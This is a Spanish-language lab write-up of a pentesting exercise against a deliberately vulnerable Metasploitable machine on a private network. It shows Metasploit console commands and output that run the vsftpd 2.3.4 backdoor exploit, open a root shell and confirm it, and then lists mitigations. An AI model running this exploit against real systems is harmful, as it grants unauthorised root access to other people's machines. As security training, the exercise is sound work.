

Proyecto de Reconocimiento de Pentesting en Sitio Web Vulnerable

- Máquina atacante: Kali Linux
- Máquina vulnerable: Metasploit con IP: 192.168.1.186

Explotar vulnerabilidades

Usa Metasploit para explotar las vulnerabilidades identificadas.

- Ejemplo: Explotar una vulnerabilidad en el servicio FTP.

```
msf exploit(unix/ftp/vsftpd_234_backdoor) > use exploit/unix/ftp/vsftpd_234_backdoor
[*] Using configured payload cmd/unix/interact
msf exploit(unix/ftp/vsftpd_234_backdoor) > set RHOST 192.168.1.186
RHOST => 192.168.1.186
msf exploit(unix/ftp/vsftpd_234_backdoor) > run
[*] 192.168.1.186:21 - The port used by the backdoor bind listener is already open
[+] 192.168.1.186:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.11:46761 -> 192.168.1.186:6200) at 2026-03-16 14:51:19 -0400

whoami
root
```

Escalar privilegios

```
msf exploit(unix/ftp/vsftpd_234_backdoor) > run
[*] 192.168.1.186:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.1.186:21 - USER: 331 Please specify the password.
[+] 192.168.1.186:21 - Backdoor service has been spawned, handling ...
[+] 192.168.1.186:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 2 opened (192.168.1.11:42967 -> 192.168.1.186:6200) at 2026-03-16 15:02:57 -0400

whoami
root
id
uid=0(root) gid=0(root)
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
```

Después de lanzar el exploit con Metasploit contra el servicio vsftpd de la máquina objetivo, se abrió una sesión en la terminal.

Cuando comprobé el usuario con los comandos: whoami y id.

El sistema mostró que estaba conectado como root, por lo que ya tenía privilegios de administrador.

Por esta razón no fue necesario realizar ninguna técnica adicional de escalada de privilegios.

Mitigación

La vulnerabilidad que exploté está en el servicio vsftpd versión 2.3.4.

Para evitar este tipo de ataques lo más importante es mantener el software actualizado y no utilizar versiones antiguas que tengan vulnerabilidades conocidas.

También se podrían aplicar otras medidas de seguridad como:

- Actualizar el servidor FTP a una versión más reciente.
- Cerrar o desactivar servicios que no sean necesarios.
- Usar un firewall para limitar el acceso a los puertos.
- Revisar los registros del sistema para detectar accesos sospechosos.

Conclusión

En este ejercicio se consiguió acceder a la máquina explotando una vulnerabilidad en el servicio FTP.

Esto demuestra la importancia de mantener los servicios actualizados para evitar accesos no autorizados.